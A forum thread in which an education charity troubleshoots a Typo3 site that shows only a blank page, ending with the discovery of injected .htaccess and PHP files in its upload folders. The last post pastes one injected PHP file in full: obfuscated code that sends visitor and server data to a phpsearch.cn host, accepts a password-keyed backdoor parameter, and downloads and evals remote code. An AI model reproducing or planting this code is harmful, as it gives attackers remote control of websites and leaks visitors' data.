    As for the directory listing - I'll look for the setting thanks for the tip. What a crash course!!

    stevire - No I can't log into the backend, we normally get into the CMS from http://suas.ie/typo3 and it just gives the same white page.

    I can get into the ftp though.

    EDIT: At the moment, the developer is going to reinstall the CMS application to see if that fixes it. fingers crossed!


  • #23
    suas
    Closed Accounts Posts: 89 ✭✭suas


    Just for some context for people that might have been following this thread.

    We are an education charity and get some very generous donations of services from both our hosting company and our developers, so the object of this thread was to try and troubleshoot as much as possible before involving them.

    As it happened, this is a complicated problem - some people suggesting that it was certainly a hosting issue and others full sure it wasn't. I hope that the exchange is useful for other people to learn from. (that's assuming that we're able to fix it!!)


  • #24
    EKRIUQ
    Registered Users, Registered Users 2 Posts: 4,387 ✭✭✭EKRIUQ


    Just one more thought, I've seen this happening before to a busy website, The cache can only take so many entries and if it gets full it needs to be emptied as it went over the hosting companies limit and would explain the blank page across the site. Might be worth deleting the cache.


  • #25
    suas
    Closed Accounts Posts: 89 ✭✭suas


    Our developers have just found that there is a more sinister cause, unfortunately. I've been notifiying the hosting company and reading up about it.

    http://www.romantika.name/v2/upload-folder-invasions-and-security/

    "There were supposed to be image, pdf, and video files in the upload folders but there were also .htaccess and PHP files in the main upload folder and each of the subfolders."

    What's particularly annoying about this is that I noticed those new .htaccess and PHP files in each folder when I was doing some FTP a while ago and thought that they were innocuous. I didn't remember seeing them before, but I innocently assumed that they were an artefact of moving to a new host. Never thought that it might be a sign of some script invading our space! BOLL1X

    EDIT: It's a bit of a mystery why someone would carry out this attack. What's in it for them?

    It seems like they hack our site and get it to send some info to phpsearch.cn if someone makes a request that creates a 404 and then they send a load of spurious requests, creating all those 404s. So obviously they have to be making money out of it somehow, but how?!

    EDIT2 - the contents of one of those php files.
    <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="81e59974ad22bccaa19567b5f843a611") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>


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